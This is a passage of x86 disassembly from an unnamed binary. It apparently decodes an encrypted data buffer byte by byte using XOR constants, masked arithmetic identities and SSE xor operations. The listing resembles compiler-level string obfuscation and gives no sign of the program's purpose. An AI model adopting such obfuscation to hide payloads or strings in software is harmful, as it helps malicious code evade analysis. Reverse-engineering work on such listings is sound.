mov ecx, eax
add cl, al
and cl, 0x4e
sub al, cl
add al, 0x27
mov byte [0x462d87], al
movzx eax, byte [0x462b88]
xor al, 0xd0
mov byte [0x462d88], al
movzx eax, byte [0x462b89]
xor al, 0x4c
mov byte [0x462d89], al
movzx eax, byte [0x462b8a]
mov ecx, eax
add cl, al
and cl, 0x58
sub al, cl
add al, 0x2c
mov byte [0x462d8a], al
movzx eax, byte [0x462b8b]
xor al, 0x1e
mov byte [0x462d8b], al
movzx eax, byte [0x462b8c]
mov ecx, eax
not cl
or al, 0x5a
or cl, 0xa5
and cl, al
not cl
mov byte [0x462d8c], cl
movzx eax, byte [0x462b8d]
xor al, 0xb7
mov byte [0x462d8d], al
movzx eax, byte [0x462b8e]
mov ecx, eax
add cl, al
and cl, 0x28
sub al, cl
add al, 0x94
mov byte [0x462d8e], al
movzx eax, byte [0x462b8f]
mov ecx, eax
add cl, al
and cl, 0x94
sub al, cl
add al, 0x4a
mov byte [0x462d8f], al
movzx eax, byte [0x462b90]
xor al, 0xeb
mov byte [0x462d90], al
movzx eax, byte [0x462b91]
xor al, 0x92
mov byte [0x462d91], al
movzx eax, byte [0x462b92]
mov ecx, eax
not cl
or cl, 0xd2
or al, 0x2d
and al, cl
mov byte [0x462d92], al
mov eax, 0x68973fd5
xor eax, dword [0x462b93]
mov dword [0x462d93], eax
movzx eax, byte [0x462b97]
mov ecx, eax
add cl, al
and cl, 4
sub al, cl
add al, 0x82
mov byte [0x462d97], al
mov eax, 0x727ae25e
xor eax, dword [0x462b98]
mov dword [0x462d98], eax
movzx eax, byte [0x462b9c]
xor al, 3
mov byte [0x462d9c], al
movzx eax, byte [0x462b9d]
xor al, 0xb2
mov byte [0x462d9d], al
movzx eax, byte [0x462b9e]
xor al, 0xb9
mov byte [0x462d9e], al
movzx eax, byte [0x462b9f]
mov ecx, eax
not cl
or al, 0x24
or cl, 0xdb
and cl, al
not cl
mov byte [0x462d9f], cl
movzx eax, byte [0x462ba0]
mov ecx, eax
not cl
or al, 0xf5
or cl, 0xa
and cl, al
not cl
mov byte [0x462da0], cl
movzx eax, byte [0x462ba1]
mov ecx, eax
not cl
or cl, 0x46
or al, 0xb9
and al, cl
mov byte [0x462da1], al
movzx eax, byte [0x462ba2]
mov ecx, eax
not cl
or cl, 0xd1
or al, 0x2e
and al, cl
mov byte [0x462da2], al
movzx eax, byte [0x462ba3]
mov ecx, eax
add cl, al
and cl, 0xf6
sub al, cl
add al, 0xfb
movsd xmm0, qword [0x462ba4]
xorps xmm0, xmmword [0x45e460]
mov byte [0x462da3], al
movlps qword [0x462da4], xmm0
movzx eax, byte [0x462bac]
xor al, 0xc2
mov byte [0x462dac], al
movzx eax, byte [0x462bad]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0x54
mov byte [0x462dad], al
movzx eax, byte [0x462bae]
mov ecx, eax
add cl, al
and cl, 0x3a
sub al, cl
add al, 0x9d
mov byte [0x462dae], al
movzx eax, byte [0x462baf]
xor al, 0xfb
mov byte [0x462daf], al
movzx eax, byte [0x462bb0]
xor al, 5
mov byte [0x462db0], al
movzx eax, byte [0x462bb1]
mov ecx, eax
not cl
or cl, 0xbf
or al, 0x40
and al, cl
mov byte [0x462db1], al
movzx eax, byte [0x462bb2]
mov ecx, eax
add cl, al
and cl, 0xd4
sub al, cl
add al, 0x6a
mov byte [0x462db2], al
mov eax, 0x61865add
xor eax, dword [0x462bb3]
mov dword [0x462db3], eax
movzx eax, byte [0x462bb7]
mov ecx, eax
add cl, al
and cl, 0xda
sub al, cl
add al, 0xed
mov ecx, 0x8603ac3d
xor ecx, dword [0x462bb8]
mov byte [0x462db7], al
mov dword [0x462db8], ecx
movzx eax, byte [0x462bbc]
xor al, 0xa7
mov byte [0x462dbc], al
movzx eax, byte [0x462bbd]
add al, 0x80
mov byte [0x462dbd], al
movzx eax, byte [0x462bbe]
add al, 0x80
mov byte [0x462dbe], al
movzx eax, byte [0x462bbf]
mov ecx, eax
add cl, al
and cl, 0xfc
sub al, cl
add al, 0x7e
mov byte [0x462dbf], al
movzx eax, byte [0x462bc0]
mov ecx, eax
add cl, al
and cl, 0xe6
sub al, cl
add al, 0xf3
mov byte [0x462dc0], al
mov eax, 0xeacd168a
xor eax, dword [0x462bc1]
mov dword [0x462dc1], eax
movzx eax, byte [0x462bc5]
xor al, 0xfe
mov byte [0x462dc5], al
movzx eax, byte [str.d4y2]
mov ecx, eax
add cl, al
and cl, 0xe8
sub al, cl
add al, 0x74
mov byte [0x462dc6], al
movzx eax, byte [0x462bc7]
xor al, 0x24
mov byte [str.8v_], al
movzx eax, byte [0x462bc8]
mov ecx, eax
not cl
or al, 0x96
or cl, 0x69
and cl, al
not cl
mov byte [0x462dc8], cl
movzx eax, byte [0x462bc9]
xor al, 0x22
mov byte [0x462dc9], al
movzx eax, byte [0x462bca]
xor al, 0xe7
mov byte [0x462dca], al
movzx eax, byte [0x462bcb]
xor al, 0x2e
mov byte [0x462dcb], al
movzx eax, byte [0x462bcc]
mov ecx, eax
add cl, al
and cl, 0x78
sub al, cl
add al, 0xbc
mov ecx, 0xa5d210a3
xor ecx, dword [0x462bcd]
mov byte [0x462dcc], al
mov dword [0x462dcd], ecx
movzx eax, byte [0x462bd1]
mov ecx, eax
not cl
or al, 0x5d
or cl, 0xa2
and cl, al
not cl
mov byte [0x462dd1], cl
movzx eax, byte [0x462bd2]
xor al, 0xed
mov byte [0x462dd2], al
movzx eax, byte [0x462bd3]
xor al, 0x37
mov byte [0x462dd3], al
movzx eax, byte [0x462bd4]
xor al, 0xbb
mov byte [0x462dd4], al
movzx eax, byte [0x462bd5]
mov ecx, eax
add cl, al
and cl, 0xf2
sub al, cl
add al, 0xf9
mov ecx, 0x98a45fe4
xor ecx, dword [0x462bd6]
mov byte [0x462dd5], al
mov dword [0x462dd6], ecx
movzx eax, byte [0x462bda]
xor al, 0xf0
mov byte [0x462dda], al
movzx eax, byte [0x462bdb]
xor al, 0xa4
mov byte [str.__v0], al
movzx eax, byte [0x462bdc]
mov ecx, eax
add cl, al
and cl, 0xda
sub al, cl
add al, 0xed
mov byte [0x462ddc], al
movzx eax, byte [0x462bdd]
mov ecx, eax
add cl, al
and cl, 0x98
sub al, cl
add al, 0xcc
mov byte [0x462ddd], al
movzx eax, byte [0x462bde]
xor al, 0x5f
mov byte [0x462dde], al
movzx eax, byte [0x462bdf]
mov ecx, eax
add cl, al
and cl, 0x52
sub al, cl
add al, 0xa9
mov byte [0x462ddf], al
movsd xmm0, qword [0x462be0]
xorps xmm0, xmmword [0x45e470]
movlps qword [0x462de0], xmm0
movzx eax, byte [0x462be8]
xor al, 0xd1
mov byte [0x462de8], al
movzx eax, byte [0x462be9]
xor al, 0xa0
mov byte [0x462de9], al
movzx eax, byte [0x462bea]
mov ecx, eax
add cl, al
and cl, 0x12
sub al, cl
add al, 9
mov byte [0x462dea], al
movzx eax, byte [0x462beb]
xor al, 0x3d
mov byte [0x462deb], al
movzx eax, byte [0x462bec]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0xa5
mov byte [0x462dec], al
movsd xmm0, qword [0x462bed]
xorps xmm0, xmmword [0x45e480]
movlps qword [0x462ded], xmm0
movzx eax, byte [0x462bf5]
mov ecx, eax
add cl, al
and cl, 0xe4
sub al, cl
add al, 0x72
mov byte [0x462df5], al
movzx eax, byte [0x462bf6]
xor al, 0x71
mov byte [0x462df6], al
movzx eax, byte [0x462bf7]
xor al, 0x46
mov byte [0x462df7], al
movzx eax, byte [0x462bf8]
xor al, 1
mov byte [0x462df8], al
movzx eax, byte [0x462bf9]
mov ecx, eax
add cl, al
and cl, 0x92
sub al, cl
add al, 0x49
mov byte [0x462df9], al
movzx eax, byte [0x462bfa]
xor al, 0xe3
mov byte [0x462dfa], al
movzx eax, byte [0x462bfb]
xor al, 0x2b
mov byte [0x462dfb], al
movzx eax, byte [0x462bfc]
xor al, 0xde
mov byte [0x462dfc], al
movzx eax, byte [0x462bfd]
mov ecx, eax
add cl, al
and cl, 0xd6
sub al, cl
add al, 0x6b
mov byte [0x462dfd], al
movzx eax, byte [0x462bfe]
mov ecx, eax
not cl
or cl, 0x92
or al, 0x6d
and al, cl
mov byte [0x462dfe], al
mov eax, 0x983fdec8
xor eax, dword [0x462bff]
mov dword [0x462dff], eax
movzx eax, byte [0x462c03]
xor al, 0x7b
mov byte [0x462e03], al
movzx eax, byte [0x462c04]
xor al, 0x91
mov byte [0x462e04], al
movzx eax, byte [0x462c05]
xor al, 0xa7
mov byte [0x462e05], al
movzx eax, byte [0x462c06]
mov byte [0x462e06], al
movzx eax, byte [0x462c07]
xor al, 0x8c
mov byte [0x462e07], al
movzx eax, byte [0x462c08]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0xc6
mov byte [0x462e08], al
movzx eax, byte [0x462c09]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0xb3
mov byte [0x462e09], al
movzx eax, byte [0x462c0a]
mov ecx, eax
add cl, al
and cl, 0xda
sub al, cl
add al, 0xed
mov byte [0x462e0a], al
movzx eax, byte [0x462c0b]
mov ecx, eax
not cl
or al, 0xd0
or cl, 0x2f
and cl, al
not cl
mov byte [0x462e0b], cl
movzx eax, byte [0x462c0c]
mov ecx, eax
add cl, al
and cl, 0x3a
sub al, cl
add al, 0x1d
mov byte [0x462e0c], al
movzx eax, byte [0x462c0d]
mov ecx, eax
add cl, al
and cl, 0xa
sub al, cl
add al, 5
movsd xmm0, qword [0x462c0e]
xorps xmm0, xmmword [0x45e490]
mov byte [0x462e0d], al
movlps qword [0x462e0e], xmm0
movzx eax, byte [0x462c16]
xor al, 0x4f
mov byte [0x462e16], al
movzx eax, byte [0x462c17]
xor al, 0xcf
mov byte [0x462e17], al
movzx eax, byte [0x462c18]
mov ecx, eax
add cl, al
and cl, 0x4c
sub al, cl
add al, 0xa6
mov byte [0x462e18], al
mov eax, 0xe857638
xor eax, dword [0x462c19]
mov dword [0x462e19], eax
movzx eax, byte [0x462c1d]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 0x88
mov byte [0x462e1d], al
movzx eax, byte [0x462c1e]
xor al, 0x53
mov byte [str.GI2k], al
movzx eax, byte [0x462c1f]
mov ecx, eax
add cl, al
and cl, 0x1e
sub al, cl
add al, 0x8f
mov byte [0x462e1f], al
movzx eax, byte [0x462c20]
xor al, 0x19
mov byte [0x462e20], al
movzx eax, byte [0x462c21]
xor al, 0xd7
mov byte [0x462e21], al
movzx eax, byte [0x462c22]
mov ecx, eax
add cl, al
and cl, 0xb8
sub al, cl
add al, 0xdc
mov byte [0x462e22], al
movsd xmm0, qword [0x462c23]
xorps xmm0, xmmword [0x45e4a0]
movlps qword [0x462e23], xmm0
mov eax, 0x353ac266
xor eax, dword [0x462c2b]
mov dword [0x462e2b], eax
movzx eax, byte [0x462c2f]
xor al, 0xcd
mov byte [0x462e2f], al
movzx eax, byte [0x462c30]
mov ecx, eax
add cl, al
and cl, 0xf0
sub al, cl
add al, 0xf8
mov byte [0x462e30], al
mov eax, 0x66b9d9b8
xor eax, dword [0x462c31]
mov dword [0x462e31], eax
movzx eax, byte [0x462c35]
xor al, 0x6a
mov byte [0x462e35], al
movzx eax, byte [0x462c36]
xor al, 0xa2
mov byte [0x462e36], al
movzx eax, byte [0x462c37]
mov ecx, eax
add cl, al
and cl, 0x28
sub al, cl
add al, 0x94
mov byte [0x462e37], al
movzx eax, byte [0x462c38]
xor al, 0x78
mov byte [0x462e38], al
movzx eax, byte [0x462c39]
xor al, 0x84
mov byte [0x462e39], al
movzx eax, byte [0x462c3a]
xor al, 0xe4
mov byte [0x462e3a], al
movzx eax, byte [0x462c3b]
mov ecx, eax
add cl, al
and cl, 0xa4
sub al, cl
add al, 0x52
mov byte [0x462e3b], al
movsd xmm0, qword [0x462c3c]
xorps xmm0, xmmword [0x45e4b0]
movlps qword [0x462e3c], xmm0
movzx eax, byte [0x462c44]
xor al, 0x5d
mov byte [0x462e44], al
movzx eax, byte [0x462c45]
xor al, 0x49
mov byte [0x462e45], al
movzx eax, byte [0x462c46]
mov ecx, eax
add cl, al
and cl, 0xc4
sub al, cl
add al, 0xe2
mov byte [0x462e46], al
movsd xmm0, qword [0x462c47]
xorps xmm0, xmmword [0x45e4c0]
movlps qword [0x462e47], xmm0
movzx eax, byte [0x462c4f]
mov ecx, eax
add cl, al
and cl, 0x76
sub al, cl
add al, 0xbb
mov byte [0x462e4f], al
movzx eax, byte [0x462c50]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0x40
mov byte [0x462e50], cl
movzx eax, byte [0x462c51]
mov ecx, eax
add cl, al
and cl, 0x96
sub al, cl
add al, 0x4b
mov ecx, 0x9fbc1d38
xor ecx, dword [0x462c52]
mov byte [0x462e51], al
mov dword [0x462e52], ecx
movzx eax, byte [0x462c56]
xor al, 0xf6
mov byte [0x462e56], al
movzx eax, byte [0x462c57]
xor al, 0xae
mov byte [0x462e57], al
movzx eax, byte [0x462c58]
xor al, 0x73
mov byte [0x462e58], al
movzx eax, byte [0x462c59]
mov ecx, eax
add cl, al
and cl, 0xce
sub al, cl
add al, 0xe7
mov ecx, 0x90903ce
xor ecx, dword [0x462c5a]
mov byte [0x462e59], al
mov dword [str.E_L_], ecx
movzx eax, byte [0x462c5e]
xor al, 0xf8
mov byte [0x462e5e], al
movzx eax, byte [0x462c5f]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0xc0
mov byte [0x462e5f], cl
movaps xmm0, xmmword [0x462c60]
xorps xmm0, xmmword [0x45e4d0]
movss dword [0x462e60], xmm0
movzx eax, byte [0x462c64]
mov ecx, eax
add cl, al
and cl, 0xce
sub al, cl
add al, 0xe7
mov byte [0x462e64], al
movzx eax, byte [0x462c65]
xor al, 0x8f
mov byte [0x462e65], al
movzx eax, byte [0x462c66]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0x25
mov byte [0x462e66], al
movzx eax, byte [0x462c67]
xor al, 0x92
mov byte [0x462e67], al
movzx eax, byte [0x462c68]
mov ecx, eax
add cl, al
and cl, 0xe8
sub al, cl
add al, 0xf4
mov byte [0x462e68], al
mov eax, 0xfa7893d5
xor eax, dword [0x462c69]
mov dword [0x462e69], eax
movzx eax, byte [0x462c6d]
xor al, 0xb1
mov byte [0x462e6d], al
movzx eax, byte [0x462c6e]
xor al, 0x2b
mov byte [0x462e6e], al
movzx eax, byte [0x462c6f]
xor al, 0x19
mov byte [0x462e6f], al
movzx eax, byte [0x462c70]
mov ecx, eax
not cl
or cl, 0xf3
or al, 0xc
and al, cl
mov byte [0x462e70], al
movzx eax, byte [0x462c71]
xor al, 0x26
mov byte [0x462e71], al
movzx eax, byte [0x462c72]
xor al, 0xf3
mov byte [0x462e72], al
movzx eax, byte [0x462c73]
mov ecx, eax
not cl
or cl, 0x26
or al, 0xd9
and al, cl
mov byte [0x462e73], al
movsd xmm0, qword [0x462c74]
xorps xmm0, xmmword [0x45e4e0]
movlps qword [0x462e74], xmm0
movzx eax, byte [0x462c7c]
xor al, 0xe7
mov byte [0x462e7c], al
movzx eax, byte [0x462c7d]
xor al, 0x41
mov byte [0x462e7d], al
movzx eax, byte [0x462c7e]
mov ecx, eax
add cl, al
and cl, 0x1c
sub al, cl
add al, 0x8e
mov byte [0x462e7e], al
movzx eax, byte [0x462c7f]
xor al, 0xa9
mov byte [0x462e7f], al
movaps xmm0, xmmword [0x462e80]
xorps xmm0, xmmword [0x45e4f0]
movss dword [0x463080], xmm0
movzx eax, byte [0x462e84]
xor al, 0x21
mov byte [0x463084], al
movzx eax, byte [0x462e85]
mov ecx, eax
not cl
or al, 0x16
or cl, 0xe9
and cl, al
not cl
mov byte [0x463085], cl
movzx eax, byte [0x462e86]
xor al, 0x6a
mov byte [0x463086], al
movzx eax, byte [0x462e87]
xor al, 0xb1
mov byte [0x463087], al
movzx eax, byte [0x462e88]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0xb3
mov byte [0x463088], al
mov eax, 0x198252d2
xor eax, dword [0x462e89]
mov dword [0x463089], eax
movzx eax, byte [0x462e8d]
xor al, 0x76
mov byte [0x46308d], al
movzx eax, byte [0x462e8e]
xor al, 0xca
mov byte [0x46308e], al
movzx eax, byte [0x462e8f]
xor al, 0x14
mov byte [0x46308f], al
movzx eax, byte [0x462e90]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0x46
mov byte [0x463090], al
mov eax, 0xf8b0f5ce
xor eax, dword [0x462e91]
mov dword [0x463091], eax
movzx eax, byte [0x462e95]
xor al, 0x45
mov byte [0x463095], al
movzx eax, byte [0x462e96]
xor al, 0x73
mov byte [0x463096], al
movzx eax, byte [0x462e97]
mov ecx, eax
add cl, al
and cl, 0x70
sub al, cl
add al, 0xb8
mov byte [0x463097], al
movzx eax, byte [0x462e98]
mov ecx, eax
add cl, al
and cl, 0xf0
sub al, cl
add al, 0x78
mov byte [0x463098], al
movzx eax, byte [0x462e99]
xor al, 0x4e
mov byte [0x463099], al
movzx eax, byte [0x462e9a]
xor al, 0x9b
mov byte [0x46309a], al
movzx eax, byte [0x462e9b]
mov ecx, eax
add cl, al
and cl, 0x3a
sub al, cl
add al, 0x9d
mov byte [0x46309b], al
mov eax, 0xb60ca0aa
xor eax, dword [0x462e9c]
mov dword [0x46309c], eax
movzx eax, byte [str.1Id_]
xor al, 0x35
mov byte [0x4630a0], al
movzx eax, byte [0x462ea1]
xor al, 0x4d
mov byte [0x4630a1], al
movzx eax, byte [0x462ea2]
mov ecx, eax
not cl
or al, 0x9f
or cl, 0x60
and cl, al
not cl
mov byte [0x4630a2], cl
movsd xmm0, qword [0x462ea3]
xorps xmm0, xmmword [0x45e500]
movlps qword [0x4630a3], xmm0
movzx eax, byte [0x462eab]
xor al, 0xa8
mov byte [0x4630ab], al
movzx eax, byte [0x462eac]
xor al, 3
mov byte [0x4630ac], al
movzx eax, byte [0x462ead]
mov ecx, eax
not cl
or al, 0xec
or cl, 0x13
and cl, al
not cl
mov byte [0x4630ad], cl
movzx eax, byte [0x462eae]
xor al, 0x18
mov byte [0x4630ae], al
movzx eax, byte [0x462eaf]
xor al, 0xd7
mov byte [0x4630af], al
movzx eax, byte [0x462eb0]
xor al, 0xf0
mov byte [0x4630b0], al
movzx eax, byte [0x462eb1]
mov ecx, eax
add cl, al
and cl, 0x7e
sub al, cl
add al, 0xbf
mov byte [0x4630b1], al
movzx eax, byte [0x462eb2]
mov ecx, eax
not cl
or cl, 0xa5
or al, 0x5a
and al, cl
mov byte [0x4630b2], al
movzx eax, byte [0x462eb3]
xor al, 0x87
mov byte [0x4630b3], al
movzx eax, byte [0x462eb4]
mov ecx, eax
not cl
or al, 0xa0
or cl, 0x5f
and cl, al
not cl
mov byte [0x4630b4], cl
movzx eax, byte [0x462eb5]
xor al, 0x12
mov byte [0x4630b5], al
movzx eax, byte [0x462eb6]
mov ecx, eax
not cl
or cl, 0x84
or al, 0x7b
and al, cl
mov byte [0x4630b6], al
movzx eax, byte [0x462eb7]
xor al, 0xce
mov byte [0x4630b7], al
movzx eax, byte [0x462eb8]
xor al, 0x1c
mov byte [0x4630b8], al
movzx eax, byte [0x462eb9]
xor al, 0xa0
mov byte [0x4630b9], al
movzx eax, byte [0x462eba]
mov ecx, eax
not cl
or cl, 0xd5
or al, 0x2a
and al, cl
mov byte [0x4630ba], al
movzx eax, byte [0x462ebb]
mov ecx, eax
add cl, al
and cl, 0xf2
sub al, cl
add al, 0xf9
mov byte [0x4630bb], al
movsd xmm0, qword [str.gP]
xorps xmm0, xmmword [0x45e510]
movlps qword [0x4630bc], xmm0
mov eax, 0x43ffceb9
xor eax, dword [0x462ec4]
mov dword [0x4630c4], eax
movzx eax, byte [0x462ec8]
xor al, 0xc0
mov byte [0x4630c8], al
movzx eax, byte [0x462ec9]
xor al, 0x55
mov byte [0x4630c9], al
movzx eax, byte [0x462eca]
mov ecx, eax
not cl
or al, 0xe4
or cl, 0x1b
and cl, al
not cl
mov byte [0x4630ca], cl
movzx eax, byte [0x462ecb]
mov ecx, eax
add cl, al
and cl, 0xa0
sub al, cl
add al, 0xd0
mov byte [0x4630cb], al
movzx eax, byte [0x462ecc]
xor al, 0xaa
mov byte [0x4630cc], al
movzx eax, byte [0x462ecd]
mov ecx, eax
add cl, al
and cl, 0x50
sub al, cl
add al, 0xa8
mov byte [0x4630cd], al
movzx eax, byte [0x462ece]
mov ecx, eax
add cl, al
and cl, 0x80
add cl, al
add cl, 0xc0
mov eax, 0x3e6bf7d1
xor eax, dword [0x462ecf]
mov byte [0x4630ce], cl
mov dword [0x4630cf], eax
movzx eax, byte [0x462ed3]
xor al, 0x61
mov byte [0x4630d3], al
movzx eax, byte [0x462ed4]
mov ecx, eax
add cl, al
and cl, 0x78
sub al, cl
add al, 0xbc
mov byte [0x4630d4], al
movzx eax, byte [0x462ed5]
xor al, 0xd5
mov byte [0x4630d5], al
movzx eax, byte [0x462ed6]
xor al, 0xed
mov byte [0x4630d6], al
movzx eax, byte [0x462ed7]
mov ecx, eax
not cl
or cl, 0xf0
or al, 0xf
and al, cl
mov byte [0x4630d7], al
movsd xmm0, qword [0x462ed8]
xorps xmm0, xmmword [0x45e520]
movlps qword [0x4630d8], xmm0
movaps xmm0, xmmword [0x462ee0]
xorps xmm0, xmmword [0x45e530]
movss dword [0x4630e0], xmm0
movzx eax, byte [0x462ee4]
mov ecx, eax
add cl, al
and cl, 0x3a
sub al, cl
add al, 0x9d
mov byte [0x4630e4], al
movzx eax, byte [0x462ee5]
xor al, 0x69
mov byte [0x4630e5], al
movzx eax, byte [0x462ee6]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0x60
mov byte [0x4630e6], al
movzx eax, byte [0x462ee7]
mov ecx, eax
add cl, al
and cl, 0x10
sub al, cl
add al, 0x88
mov byte [0x4630e7], al
movups xmm0, xmmword [0x462ee8]
xorps xmm0, xmmword [0x45e540]
movups xmmword [0x4630e8], xmm0
movzx eax, byte [0x462ef8]
xor al, 0xf0
mov byte [0x4630f8], al
movzx eax, byte [0x462ef9]
xor al, 0x27
mov byte [0x4630f9], al
movzx eax, byte [0x462efa]
xor al, 0x59
mov byte [0x4630fa], al
movzx eax, byte [0x462efb]
mov ecx, eax
add cl, al
and cl, 0xbc
sub al, cl
add al, 0x5e
mov byte [0x4630fb], al
movzx eax, byte [0x462efc]
xor al, 0x86
mov byte [0x4630fc], al
movzx eax, byte [0x462efd]
xor al, 0xb9
mov byte [0x4630fd], al
movzx eax, byte [0x462efe]
xor al, 0xe2
mov byte [0x4630fe], al
movzx eax, byte [0x462eff]
mov ecx, eax
add cl, al
and cl, 0x6e
sub al, cl
add al, 0x37
mov byte [0x4630ff], al
movzx eax, byte [0x462f00]
xor al, 0x61
mov byte [0x463100], al
movzx eax, byte [0x462f01]
xor al, 0xd2
mov byte [str._k2], al
movzx eax, byte [0x462f02]
xor al, 0x82
mov byte [0x463102], al
movzx eax, byte [0x462f03]
mov ecx, eax
add cl, al
and cl, 0x76
sub al, cl
add al, 0xbb
mov byte [0x463103], al
mov eax, 0x1b76ba8a
xor eax, dword [0x462f04]
mov dword [0x463104], eax
movzx eax, byte [0x462f08]
xor al, 0x22
mov byte [0x463108], al
movzx eax, byte [0x462f09]
xor al, 6
mov byte [0x463109], al
movzx eax, byte [0x462f0a]
xor al, 0x6f
mov byte [0x46310a], al
movzx eax, byte [0x462f0b]
mov ecx, eax
not cl
or al, 0x43
or cl, 0xbc
and cl, al
not cl
mov byte [0x46310b], cl
movzx eax, byte [0x462f0c]
xor al, 0xa
mov byte [0x46310c], al
movzx eax, byte [0x462f0d]
xor al, 0xad
mov byte [0x46310d], al
movzx eax, byte [0x462f0e]
xor al, 0xbb
mov byte [0x46310e], al
movzx eax, byte [0x462f0f]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0xc6
movaps xmm0, xmmword [0x462f10]
xorps xmm0, xmmword [0x45e550]
mov byte [0x46310f], al
movss dword [0x463110], xmm0
movzx eax, byte [0x462f14]
xor al, 0x33
mov byte [0x463114], al
movzx eax, byte [0x462f15]
xor al, 0x39
mov byte [0x463115], al
movzx eax, byte [0x462f16]
xor al, 0x12
mov byte [0x463116], al
movzx eax, byte [0x462f17]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0x54
mov byte [0x463117], al
movzx eax, byte [0x462f18]
xor al, 0x5d
mov byte [0x463118], al
movzx eax, byte [0x462f19]
mov ecx, eax
add cl, al
and cl, 0xf0
sub al, cl
add al, 0xf8
mov byte [0x463119], al
movsd xmm0, qword [0x462f1a]
xorps xmm0, xmmword [0x45e560]
movlps qword [0x46311a], xmm0
movzx eax, byte [0x462f22]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x9f
mov byte [0x463122], al
movzx eax, byte [0x462f23]
xor al, 9
mov byte [0x463123], al
movzx eax, byte [0x462f24]
xor al, 0xf7
mov byte [0x463124], al
movzx eax, byte [0x462f25]
mov ecx, eax
not cl
or cl, 0x40
or al, 0xbf
and al, cl
mov byte [0x463125], al
movzx eax, byte [0x462f26]
mov ecx, eax
add cl, al
and cl, 0x32
sub al, cl
add al, 0x19
mov byte [0x463126], al
movzx eax, byte [0x462f27]
xor al, 6
mov byte [0x463127], al
movzx eax, byte [0x462f28]
mov ecx, eax
add cl, al
and cl, 0x4e
sub al, cl
add al, 0x27
mov byte [0x463128], al
movsd xmm0, qword [0x462f29]
xorps xmm0, xmmword [0x45e570]
movlps qword [0x463129], xmm0
movzx eax, byte [0x462f31]
xor al, 0xd2
mov byte [0x463131], al
movzx eax, byte [0x462f32]
xor al, 0xc4
mov byte [0x463132], al
movzx eax, byte [0x462f33]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0xe4
mov byte [0x463133], al
movzx eax, byte [0x462f34]
xor al, 0x9b
mov byte [0x463134], al
movzx eax, byte [0x462f35]
mov ecx, eax
add cl, al
and cl, 0xbc
sub al, cl
add al, 0x5e
mov byte [0x463135], al
movzx eax, byte [0x462f36]
xor al, 0xc8
mov byte [0x463136], al
movzx eax, byte [0x462f37]
xor al, 0xb4
mov byte [0x463137], al
movzx eax, byte [0x462f38]
mov ecx, eax
add cl, al
and cl, 0xb4
sub al, cl
add al, 0x5a
mov byte [0x463138], al
movzx eax, byte [0x462f39]
xor al, 0x81
mov byte [0x463139], al
movzx eax, byte [0x462f3a]
xor al, 0x95
mov byte [0x46313a], al
movzx eax, byte [0x462f3b]
xor al, 0x66
mov byte [0x46313b], al
movzx eax, byte [0x462f3c]
mov ecx, eax
add cl, al
and cl, 0xec
sub al, cl
add al, 0xf6
mov byte [0x46313c], al
movzx eax, byte [0x462f3d]
xor al, 0x97
mov byte [0x46313d], al
movzx eax, byte [0x462f3e]
mov ecx, eax
add cl, al
and cl, 0x52
sub al, cl
add al, 0xa9
mov byte [0x46313e], al
movzx eax, byte [0x462f3f]
mov ecx, eax
add cl, al
and cl, 2
sub al, cl
add al, 0x81
mov byte [0x46313f], al
movzx eax, byte [0x462f40]
xor al, 0x7d
mov byte [0x463140], al
movzx eax, byte [0x462f41]
mov ecx, eax
not cl
or al, 0xb7
or cl, 0x48
and cl, al
not cl
mov byte [0x463141], cl
mov eax, 0xff4323a6
xor eax, dword [0x462f42]
mov dword [0x463142], eax
movzx eax, byte [0x462f46]
xor al, 0xb7
mov byte [0x463146], al
movzx eax, byte [0x462f47]
mov ecx, eax
add cl, al
and cl, 0x2e
sub al, cl
add al, 0x97
mov byte [0x463147], al
movups xmm0, xmmword [0x462f48]
xorps xmm0, xmmword [0x45e580]
movups xmmword [0x463148], xmm0
movsd xmm0, qword [0x462f58]
xorps xmm0, xmmword [0x45e590]
movlps qword [0x463158], xmm0
movzx eax, byte [0x462f60]
xor al, 0x25
mov byte [0x463160], al
movzx eax, byte [0x462f61]
mov ecx, eax
add cl, al
and cl, 0xdc
sub al, cl
add al, 0x6e
mov byte [0x463161], al
mov eax, 0x555544ab
xor eax, dword [0x462f62]
mov dword [0x463162], eax
movzx eax, byte [0x462f66]
xor al, 0x62
mov byte [0x463166], al
movzx eax, byte [0x462f67]
xor al, 0xd2
mov byte [0x463167], al
movzx eax, byte [0x462f68]
xor al, 0x14
mov byte [0x463168], al
movzx eax, byte [0x462f69]
mov ecx, eax
add cl, al
and cl, 0xf6
sub al, cl
add al, 0x7b
mov byte [0x463169], al
mov eax, 0x11a687f1
xor eax, dword [0x462f6a]
mov dword [0x46316a], eax
movzx eax, byte [0x462f6e]
xor al, 0x10
mov byte [0x46316e], al
movzx eax, byte [0x462f6f]
xor al, 0x88
mov byte [0x46316f], al
movzx eax, byte [0x462f70]
mov ecx, eax
not cl
or cl, 0x6d
or al, 0x92
and al, cl
movsd xmm0, qword [0x462f71]
xorps xmm0, xmmword [0x45e5a0]
mov byte [0x463170], al
movlps qword [0x463171], xmm0
movzx eax, byte [0x462f79]
xor al, 0x50
mov byte [0x463179], al
movzx eax, byte [0x462f7a]
mov ecx, eax
not cl
or cl, 0xba
or al, 0x45
and al, cl
mov byte [0x46317a], al
movzx eax, byte [0x462f7b]
xor al, 0x12
mov byte [0x46317b], al
movzx eax, byte [0x462f7c]
xor al, 0xb4
mov byte [0x46317c], al
movzx eax, byte [0x462f7d]
mov ecx, eax
not cl
or cl, 0xfd
or al, 2
and al, cl
mov byte [0x46317d], al
movzx eax, byte [0x462f7e]
mov ecx, eax
not cl
or al, 0xea
or cl, 0x15
and cl, al
not cl
mov byte [0x46317e], cl
movzx eax, byte [0x462f7f]
mov ecx, eax
